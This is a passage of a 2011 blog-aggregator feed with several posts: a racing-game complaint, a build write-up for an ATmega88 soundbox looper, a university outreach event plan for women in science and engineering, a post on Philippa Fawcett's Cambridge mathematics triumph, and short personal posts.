&lt;p&gt;On the screens between levels its constantly telling you your stats, Run time, 15mins, avg speed 140mph, miles travelled 300 plus? what the hell? ok, you&amp;#8217;ve cut the distance down. stop making it so frikken obvious. I can do speed x time, its pretty obvious that the sums dont add up. &lt;/p&gt;
&lt;p&gt;Then theres the stupid stage modes, &amp;#8220;pass 8 people to progress&amp;#8221; its not really a coast to coast race if you cant progress past any 5 minute stage without finishing in the position the game makers have decided is the place that you need to be in at that point. &lt;/p&gt;
&lt;p&gt;Dont even get me started on the out of car bits. Why do I have to randomly mash the A button to make him run from cops, then bash the Y to make him jump a fence? Seriously pointless, and really badly done. if you want to have these &amp;#8216;story&amp;#8217; bits to make me change car, just put them in as cutscenes and be done with it. &lt;/p&gt;
&lt;p&gt;I know, its a NFS game, its not meant to be vaguely realistic, its an action game, etc etc. but its just dumb. &lt;/p&gt;
&lt;p&gt;This could have been a great game. Its barely good. such a shame.&lt;/p&gt;
&lt;br /&gt;  &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gocomments/simarilius.wordpress.com/146/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/comments/simarilius.wordpress.com/146/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/godelicious/simarilius.wordpress.com/146/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/delicious/simarilius.wordpress.com/146/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gofacebook/simarilius.wordpress.com/146/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/facebook/simarilius.wordpress.com/146/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gotwitter/simarilius.wordpress.com/146/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/twitter/simarilius.wordpress.com/146/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/gostumble/simarilius.wordpress.com/146/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/stumble/simarilius.wordpress.com/146/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/godigg/simarilius.wordpress.com/146/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/digg/simarilius.wordpress.com/146/&quot; /&gt;&lt;/a&gt; &lt;a rel=&quot;nofollow&quot; href=&quot;http://feeds.wordpress.com/1.0/goreddit/simarilius.wordpress.com/146/&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://feeds.wordpress.com/1.0/reddit/simarilius.wordpress.com/146/&quot; /&gt;&lt;/a&gt; &lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://stats.wordpress.com/b.gif?host=simarilius.wordpress.com&amp;blog=290572&amp;post=146&amp;subd=simarilius&amp;ref=&amp;feed=1&quot; width=&quot;1&quot; height=&quot;1&quot; /&gt;</content:encoded>
	<dc:date>2011-11-25T21:47:25+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8964583752416945383.post-4929933317958610938">
	<title>Niko Kiirala: Soundbox — what makes it tick</title>
	<link>http://fedev.blogspot.com/2011/11/soundbox-what-makes-it-tick.html</link>
	<content:encoded>I did have the soundbox device I have built with me at &lt;a href=&quot;http://www.altparty.org/2011/&quot;&gt;Alternative Party 2011&lt;/a&gt;. It did attract a fair amount of interest, though nowhere near what my 32×8 LED screen did. I think I'll have to write a post about that LED screen and how it works some time. For quick info, it's built around an ATmega328, can show 16 different shades of green with gamma ramp and shows some classical effects such as plasma and fire.&lt;br /&gt;&lt;br /&gt;Neither one of my projects gained nowhere near the interest that the &lt;a href=&quot;http://www.hacklab.fi/2011/10/alt-party-ohi-helsinki-yha-olemassa/&quot;&gt;Chernobyl reactor simulator&lt;/a&gt; by Helsinki Hacklab did, but that is only to be expected. That simulator was awesome, even though they didn't quite manage to get it to a playable state during the event.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-qR2zcb-iX2M/TqBzT6aeSMI/AAAAAAAAANw/YPUcXL5XCKY/s1600/soundbox.jpeg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;286&quot; src=&quot;http://3.bp.blogspot.com/-qR2zcb-iX2M/TqBzT6aeSMI/AAAAAAAAANw/YPUcXL5XCKY/s320/soundbox.jpeg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;I'll first describe the high-level workings of the soundbox, then the hardware side and last the software used.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;High-level view&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The device is a looper: it plays a short loop of sounds over and over again and the sounds can be altered while the device is playing. It provides two  channels, each with its own waveform and each separately programmable. The loop is 128 sounds long and the actual length of loop in seconds depends on the setting of tempo knob.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-rj7vkQH3mpk/TslBdqgP_YI/AAAAAAAAAN0/hTXwiVV7AL8/s1600/soundbox-panel.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;145&quot; src=&quot;http://3.bp.blogspot.com/-rj7vkQH3mpk/TslBdqgP_YI/AAAAAAAAAN0/hTXwiVV7AL8/s320/soundbox-panel.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;The first sound channel plays sine wave and the second channel plays pitched noise. One of the device controls is a pitch knob that can be used to select the frequency of sine wave of noise to be programmed.&lt;br /&gt;&lt;br /&gt;For sine wave there's also second knob — arpeggio — which can be used to alternate between the base pitch and a higher pitch at a high rate. The rate is fixed depending on tempo and the setting of arpeggio knob defines how much higher is the higher pitch.&lt;br /&gt;&lt;br /&gt;Also there's a beat LED that flashes four times during every loop through the sound loop — white at the beginning of loop and red the other three times. This is to help the user see how fast a tempo the device is using.&lt;br /&gt;&lt;br /&gt;The front panel also features a built-in speaker which is mere 5&amp;nbsp;cm across but can produce surprisingly high volumes — even at the active party hall it was able to put out enough volume to be clearly audible at close quarters. I've tried some small commercial speaker devices intended to be attached to portable CD/MP3 players and found that they can't put out nearly enough volume in such situations, so I was somewhat surprised that this simple device could.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;The hardware design&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The&amp;nbsp; hearth of this device is Atmel ATmega88 microcontroller running at 16&amp;nbsp;MHz. Sporting 8&amp;nbsp;kB of flash memory and 8&amp;nbsp;kB of RAM, this microcontroller is the little brother of ATmega328 that is used in the popular &lt;a href=&quot;http://www.arduino.cc/&quot;&gt;Arduino&lt;/a&gt; prototyping board.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-ejv6aXmG5Fg/Tsld0GpDRJI/AAAAAAAAAN8/qAJ-5GAIE7c/s1600/soundbox-proto.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;242&quot; src=&quot;http://2.bp.blogspot.com/-ejv6aXmG5Fg/Tsld0GpDRJI/AAAAAAAAAN8/qAJ-5GAIE7c/s320/soundbox-proto.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;i&gt;Early version of the hardware&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;With the built-in analog-to-digital converter in ATmega88 it is simple to read the positions of the three 10&amp;nbsp;kΩ linear potentiometers used for pitch, arpeggio and tempo. The potentiometers are connected across device ground and regulated 5&amp;nbsp;V lines, so turning a potentiometer changes the voltage at its middle pin linearly between these two voltages. This voltage is read with the ADC in the microcontroller and used to control the sound generation.&lt;br /&gt;&lt;br /&gt;The microcontroller outputs the sound using &lt;a href=&quot;http://en.wikipedia.org/wiki/Pulse-width_modulation&quot;&gt;Pulse-width modulation&lt;/a&gt; and uses a simple resistor-capacitor low-pass filter so that only frequencies below the &lt;a href=&quot;http://en.wikipedia.org/wiki/Nyquist_frequency&quot;&gt;Nyquist frequency&lt;/a&gt; of the output are passed to amplifier and eventually to speaker. Or at least this was the idea — I don't know quite exactly the frequency response of the filter I built, especially as I ended up swapping some of the capacitors to different value than the one originally planned, since I didn't have any with correct value and could not be bothered to visit the electronics store to get a couple capacitors. Anyhow, it sounds good and looking at the output with an oscilloscope doesn't show modulation frequency passed through, so I guess it's fine.&lt;br /&gt;&lt;br /&gt;After the low-pass filter is the volume control: a 10&amp;nbsp;kΩ logarithmic potentiometer. After it there's a &lt;a href=&quot;http://en.wikipedia.org/wiki/LM386&quot;&gt;LM386&lt;/a&gt; amplifier chip that drives the speaker or the device connected to the line out jack. One notable thing is that this amplifier chip is not connected to the regulated 5&amp;nbsp;V line that is being used to drive the ATmega88, but to the unregulated voltage straight from the batteries. This is done to maximize the voltage available to the amplifier chip — which means more volume — and to ease the load on the regulator, which is simple &lt;a href=&quot;http://en.wikipedia.org/wiki/78xx&quot;&gt;7805&lt;/a&gt; linear regulator that can generate considerable amounts of heat if heavily loaded or if the difference between its input and output voltages is large.&lt;br /&gt;&lt;br /&gt;Speaking of batteries and voltage regulation, the power source for this device is six AA size NiMH cells. With nominal voltage of 1.2 V each, the total voltage is 7.2 V — high enough so that the 7805 can produce stable 5 V supply and well inside the operating voltage range for LM386.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;The software&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;The software for the soundbox is written in C using the&amp;nbsp;&lt;a href=&quot;http://www.nongnu.org/avr-libc/&quot;&gt;AVR libc&lt;/a&gt; library.&lt;br /&gt;&lt;br /&gt;The sounds to be played are stored in two 128 bytes long arrays, one for each voice. Each byte in these arrays corresponds to one sound to be played, the value defining the pitch of the sound.&lt;br /&gt;&lt;br /&gt;At the hearth of the sound generation is a&amp;nbsp;&lt;a href=&quot;http://en.wikipedia.org/wiki/Numerically_controlled_oscillator&quot;&gt;numerically controlled oscillator&lt;/a&gt; (NCO). The oscillator for sine voice uses 256 samples long phase-to-amplitude converter array that is filled with sine values at device boot up. The noise channel uses similar table filled with random values with Gaussian distribution, creating a table that contains white noise. The oscillator for noise channel  advances in its table 4096 times slower than sine oscillator of same frequency. This value has been chosen experimentally so that sine and noise with same pitch setting would sound like having somewhat similar pitch.&lt;br /&gt;&lt;br /&gt;The sound generation itself is done inside the overflow interrupt of an pulse width modulation timer that's built-in in ATmega88. Each time the timer overflows  — every 256 processor ticks in my configuration — a new sound amplitude is computed from the two NCOs and written in pulse width control register.&lt;br /&gt;&lt;br /&gt;Reading inputs and setting the frequencies of the two NCOs is done in the main program loop. Each loop of the main program moves one step forward in sound arrays, reads inputs, writes new sound values to sound arrays if needed and sets the frequency controls of NCOs according to the values in sound arrays. After this it runs NOP command in a loop a suitable number of times to wait until new sound is to be played.&lt;br /&gt;&lt;br /&gt;That's it for this time. I'm thinking of posting something about how I made the enclosure, especially the labels on the panel and buttons. Maybe some recording of the sounds I get from the device, too.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8964583752416945383-4929933317958610938?l=fedev.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-11-21T20:20:16+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-2707627992258968876">
	<title>Gail Carmichael: Event Idea: The Truth About Women in Science and Engineering</title>
	<link>http://compscigail.blogspot.com/2011/11/event-idea-truth-about-women-in-science.html</link>
	<content:encoded>I recently came up with what I thought was interesting event idea.&amp;nbsp; Our Dean of Engineering had expressed some interest in &lt;a href=&quot;http://www.carleton.ca/wise&quot;&gt;CU-WISE&lt;/a&gt; coming up with an idea for a recruitment event that would attract the media and encourage high school girls to consider choosing Carleton in their upcoming university applications.&amp;nbsp; I haven't heard back from the Dean so I am not sure if this event will happen, but I thought I'd share the idea in case it helped any of you come up with your own.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;span&gt;&lt;b&gt;The Truth About Women in Science and Engineering&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;The proposed premise is to be honest about what it’s like to be a woman in science or engineering.  This begins as something that comes across as negative as we share the common challenges faced by students and others, but the idea is to show how a group like CU-WISE and all the other awesome things that Carleton does turns this all around.It is a risk to do anything negative at all (and it needs to be approached in just the right way), but there are two good reasons for this approach:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;It will build trust in the students we want to reach as well as their parents.  All schools are trying to sell themselves as a product, but how many are willing to be honest about the situation? It’s the elephant in the room, and our audience should appreciate our ability to discuss it in the open.&lt;br /&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;To attract the media, your approach has to be different.  Sure, maybe you’d get a bit of air time for the usual outreach events, but they tend to be fairly similar to each other.  Being willing to talk about these issues is not something that’s very common.&lt;/li&gt;&lt;/ol&gt;The proposed event would be a dessert reception held on the afternoon of a weekend.  The reason for this is that a dinner would not only be more expensive, but require longer periods of sitting in one place (it will become clear why this isn’t desirable shortly).  Choosing an afternoon on a weekend makes it easier for students and parents to attend since families need to get home from work and eat dinner before attending an event like this during the week. The great participation numbers at Go Eng Girl (held on a Saturday) proves that weekend events can be successful.&lt;br /&gt;&lt;br /&gt;The dessert reception should include something to please both the parents (who are big influencers to their children’s choices) and the students.  Offering beer and wine, if affordable, shows we are thinking of the former, and having cupcakes, cake pops, and milkshakes or smoothies for the girls should thrill the latter.&lt;br /&gt;&lt;br /&gt;The main format of the event would be to have a short talk at the beginning to discuss the challenges faced by women in science and engineering and how CU-WISE and other Carleton initiatives help.  This would be followed by a structured networking opportunity where parents and students would speak with current students, alumni, and faculty.  Finally, hands-on demo and other info booths would be available during the last segment, when casual networking would take place.  Dessert could be served in both of the last two segments or just at the end.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Possible Agenda&lt;/b&gt; &lt;br /&gt;&lt;span id=&quot;internal-source-marker_0.34945108531920843&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;table&gt;&lt;colgroup&gt;&lt;col width=&quot;108&quot; /&gt;&lt;col width=&quot;257&quot; /&gt;&lt;col width=&quot;259&quot; /&gt;&lt;/colgroup&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;Time&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Item&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Reasoning&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;20 minutes&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Talk: The Truth About Women in Science and Engineering&lt;br class=&quot;kix-line-break&quot; /&gt;(One or two guest speakers, depending on whether it will be joint between Engineering and Science)&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;As explained earlier, this is an opportunity to talk about the elephant in the room and build trust with both the parents and the students. &amp;nbsp;It is also an opportunity to showcase how CU-WISE helps by providing a support network and other great initiatives to Carleton students so they know they can expect to be able to overcome the challenges at Carleton.&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;40 minutes&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Structured Networking:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span&gt;We will have a set of current female students, alumni, and faculty available to participate.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;There will be at least one person from each of these groups at each numbered table. &amp;nbsp;They will see three different groups of parents and students and will be asked to talk about their experiences at Carleton, including challenges they faced and how they overcame them.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;Each student/parent pair will draw three table numbers from separate bins, set up so that they get one table assigned to a current student, another to an alumnus, and another to a faculty member.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;In each of the ten minutes, the student/parent pair will sit at their assigned table and have a discussion with the student/alumnus/faculty assigned to that table.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;This will repeat twice so each pair talks to each type of person assigned to the tables.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;Ten minutes in the schedule is allotted for time taken switching tables, etc.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Students appreciate the opportunity to see what life is like for current students, what kinds of jobs they can expect if they get through the program, and who will be teaching them. &amp;nbsp;This makes coming to university much less intimidating, and if they find themselves connecting with any of these people, they are more likely to remember Carleton favourably as a place they could see themselves studying at.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;If possible, we may even be able to ask participants to tell us what programs they are applying for, and pre-match the tables they visit so they are able to speak to at least some people from that program or, at least, faculty.&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;60 minutes&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Demo and Info Booths&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span&gt;Demo booths should provide an opportunity to touch and try things as well as listen to someone from Carleton talk about the demo itself and how it relates to the kinds of things you study at Carleton.&lt;/span&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;span&gt;Potential demos might include robotics, satellites, brain dissection, interesting interfaces from HCI students, water filtration, etc.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;span&gt;Info booths - such as one from Athletics - are important to emphasize the kind of balance you can have when you are a student at Carleton, and can show what other services are there to support students.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Besides the usual reasons for having hands-on demos (engagement, etc), they implicitly show the success of women at Carleton. &amp;nbsp;This continues to follow the theme on the Truth of Women in Science and Engineering in that we see what awesome things women here are really doing.&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-2707627992258968876?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-11-18T10:00:06+00:00</dc:date>
</item>
<item rdf:about="http://rejon.org/?p=2503">
	<title>Jon Phillips: The Birth of Marking and Markiting in London, Beijing, and Kuala Lumpur.</title>
	<link>http://rejon.org/2011/11/the-birth-of-marking-and-markiting-in-london-beijing-and-kuala-lumpur/</link>
	<content:encoded>&lt;p&gt;&lt;a href=&quot;http://www.flickr.com/photos/jonphillips/6349510447/&quot; title=&quot;Marking Begins by rejon, on Flickr&quot;&gt;&lt;img src=&quot;http://farm7.static.flickr.com/6211/6349510447_c9a61831f3.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; alt=&quot;Marking Begins&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;And the above happened after I killed all my sim cards, American phone plan, and turned off all social media notifications.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.flickr.com/photos/jonphillips/6290172299/&quot; title=&quot;no more phones by rejon, on Flickr&quot;&gt;&lt;img src=&quot;http://farm7.static.flickr.com/6212/6290172299_d2c5c8688a.jpg&quot; width=&quot;500&quot; height=&quot;375&quot; alt=&quot;no more phones&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Now it time to do &lt;a href=&quot;http://rejon.org/feed/ http://fabricatorz.com/2011/11/getting-things-londone-mozfest-mozcamp-kl-inventing-marking-post-graffiti/&quot;&gt;Marking all over the world&lt;/a&gt;. There is little need to print new propaganda unless you need mass market growth, but is that even good?&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.flickr.com/photos/jonphillips/6349436267/&quot; title=&quot;Markings by rejon, on Flickr&quot;&gt;&lt;img src=&quot;http://farm7.static.flickr.com/6216/6349436267_dfba9b15da_z.jpg&quot; width=&quot;480&quot; height=&quot;640&quot; alt=&quot;Markings&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Muji can&amp;#8217;t handle the Marking Revolution!&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.flickr.com/photos/jonphillips/6349430985/&quot; title=&quot;Markings by rejon, on Flickr&quot;&gt;&lt;img src=&quot;http://farm7.static.flickr.com/6228/6349430985_6d10ed7260_z.jpg&quot; width=&quot;480&quot; height=&quot;640&quot; alt=&quot;Markings&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The US Global Entry program too, just pwnd into a Fabricatorz brochure showing off the four horseman projects of Fabricatorz.&lt;/p&gt;</content:encoded>
	<dc:date>2011-11-16T11:19:32+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-3983719053392987971">
	<title>Gail Carmichael: She Topped All the Men in Math and Kept Her Life in Balance</title>
	<link>http://compscigail.blogspot.com/2011/11/she-topped-all-men-in-math-and-kept-her.html</link>
	<content:encoded>In an age where to be female was to be weak, there was one woman who would finally show the world that the fairer sex could beat the very best men academically, even in something so male dominated as mathematics.  And she did it while still maintaining a rather balanced lifestyle.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://upload.wikimedia.org/wikipedia/commons/3/3f/Phillipafawcett.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://upload.wikimedia.org/wikipedia/commons/3/3f/Phillipafawcett.jpg&quot; width=&quot;232&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/File:Phillipafawcett.jpg&quot;&gt;Public domain image obtained from Wikipedia&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Philippa Fawcett did the unimaginable: she beat every other man and woman who competed in the prestigious mathematical examinations held at Cambridge University.&amp;nbsp; This was in 1890, a time long before men and women were even allowed to study for degrees side by side.&amp;nbsp; Even the science of the time suggested that this probably couldn't happen:&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;Central to the 19th-century concept of human development was the idea that the adolescent body was a closed system; there was only so much energy available, and so a body in which resources were diverted to mental development was one in which physical development necessarily suffered. This was thought to be a particular problem for women, because their reproductive system was far more complicated than men’s and so consumed a greater proportion of the body’s resources. A young woman who studied hard during puberty was believed to be taking special risks since “the brain and ovary could not develop at the same time,” as historian Judith Walzer Leavitt points out.&lt;/blockquote&gt;The &lt;a href=&quot;http://blogs.smithsonianmag.com/history/2011/10/the-woman-who-bested-the-men-at-math/&quot;&gt;story of her triumph&lt;/a&gt; was detailed over at the Smithsonian blog and is worth the read on its own.&amp;nbsp; However, I happened to notice one very interesting aspect of the tale that has been rather relevant to me in the last couple of days: the fact that, unlike many of the previous male champions, Phillipa maintained a very good life balance while studying for the exams.&lt;br /&gt;&lt;br /&gt;Just look at what the boys went through to become the top scorers, known as Wranglers:&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;The most serious candidates invariably hired tutors and worked more or less round the clock for months. The historian Alex Craik notes that C.T. Simpson, who ranked as Second Wrangler in 1841, topped off his efforts by studying for 20 hours a day in the week before the exams and “almost broke down from over-exertion… [he] found himself actually obliged to carry a supply of ether and other stimulants into the examinations in case of accidents.” James Wilson, who topped the rankings in 1859, had a nervous breakdown immediately after his exams; on his recovery he discovered he had forgotten all the math he ever knew except elementary algebra. And James Savage worked himself so hard that he was found dead of apoplexy in a ditch three months after being named Senior Wrangler of 1855.&lt;/blockquote&gt;In contrast, Phillipa &quot;led 'a disciplined and orderly life,' rising at 8 a.m. and rarely going to bed later than 11 p.m. She studied six hours a day, but refused to yield to the then-popular practice among aspirant Wranglers of working through the night with a wet towel wrapped around her head.&quot;&lt;br /&gt;&lt;br /&gt;Just yesterday I finally read a time management article that had been making the rounds.&amp;nbsp; Phillipa's routine reminded me of the advice in that article.&amp;nbsp; As someone who also strives for a regular working day (and sometimes feeling guilty about it!), I am glad to see how others are able to achieve success with similar working hours.&amp;nbsp; Definitely check out the article:&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.iwillteachyoutoberich.com/blog/time-management-how-an-mit-postdoc-writes-3-books-a-phd-defense-and-6-peer-reviewed-papers-and-finishes-by-530pm/&quot;&gt;&lt;b&gt;Time management: How an MIT postdoc writes 3 books, a PhD defense, and 6+ peer-reviewed papers — and finishes by 5:30pm&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Do you have any time management secrets or have you read any other great articles on the subject? &lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;div class=&quot;bhbadge&quot; id=&quot;bhbadge_Featured&quot;&gt;&lt;a href=&quot;http://www.blogher.com/?from=bhfbadge&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;Featured on BlogHer.com&quot; border=&quot;0&quot; height=&quot;100&quot; src=&quot;http://www.blogher.com/files/edbadge_Featured.jpg&quot; title=&quot;Featured on BlogHer.com&quot; width=&quot;120&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-3983719053392987971?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-11-16T10:52:31+00:00</dc:date>
</item>
<item rdf:about="http://www.outflux.net/blog/?p=518">
	<title>Kees Cook: qrcodes</title>
	<link>http://www.outflux.net/blog/archives/2011/11/15/qrcodes/</link>
	<content:encoded>&lt;p&gt;Inspired by recent &lt;a href=&quot;http://planet.ubuntu.com/&quot;&gt;Planet Ubuntu&lt;/a&gt; posts, I submit a QR Code for your examination:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://www.outflux.net/images/qrcode.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;copy; 2011, &lt;a href=&quot;http://www.outflux.net/blog/&quot;&gt;Kees Cook&lt;/a&gt;. This work is licensed under a &lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-sa/3.0/us/&quot;&gt;Creative Commons Attribution-ShareAlike 3.0 License&lt;/a&gt;.&lt;br /&gt;&lt;a rel=&quot;license&quot; href=&quot;http://creativecommons.org/licenses/by-sa/3.0/us/&quot;&gt;&lt;img alt=&quot;Creative Commons License&quot; src=&quot;http://i.creativecommons.org/l/by-sa/3.0/us/88x31.png&quot; /&gt;&lt;/a&gt; &lt;/p&gt;</content:encoded>
	<dc:date>2011-11-16T03:08:48+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-4285248677162243740">
	<title>Gail Carmichael: Enjoying Grace Hopper 2011 From Afar</title>
	<link>http://compscigail.blogspot.com/2011/11/enjoying-grace-hopper-2011-from-afar.html</link>
	<content:encoded>I've attended the &lt;a href=&quot;http://gracehopper.org/&quot;&gt;Grace Hopper Celebration of Women in Computing&lt;/a&gt; (GHC) every year since 2008, gradually increasing my participation from blogging to being on a conference committee.&amp;nbsp; This year I had to miss out because I am past my flight cut-off for my pregnancy.&amp;nbsp; For a long time I was so busy trying to get stuff done for school before I start my leave in January that I didn't even think about it, but once the conference got started this week I felt very sad to be missing out.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-77Oh5vzgAw0/Tr19XMP4z7I/AAAAAAAADUU/041q-Hvj1tw/s1600/GHC-Portland-Poster-Hi-Res.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://3.bp.blogspot.com/-77Oh5vzgAw0/Tr19XMP4z7I/AAAAAAAADUU/041q-Hvj1tw/s320/GHC-Portland-Poster-Hi-Res.jpg&quot; width=&quot;242&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Fortunately, the very thing that I have worked so hard to make awesome when attending GHC in the past is allowing me to enjoy this year's edition from afar: the online communities.&lt;br /&gt;&lt;br /&gt;I have a whole new appreciation for the many awesome posts on attendees' blogs and Twitter accounts.&amp;nbsp; While seeing conversations between all the people I am missing out on meeting up with makes me feel sad, I also find myself vibrating with excitement with all the amazing things happening in Portland.&amp;nbsp; From the wonderful keynote speakers to the fantastic panels to the neat e-textile workshop, this conference must be the best one yet.&lt;br /&gt;&lt;br /&gt;If you'd like to enjoy GHC from afar 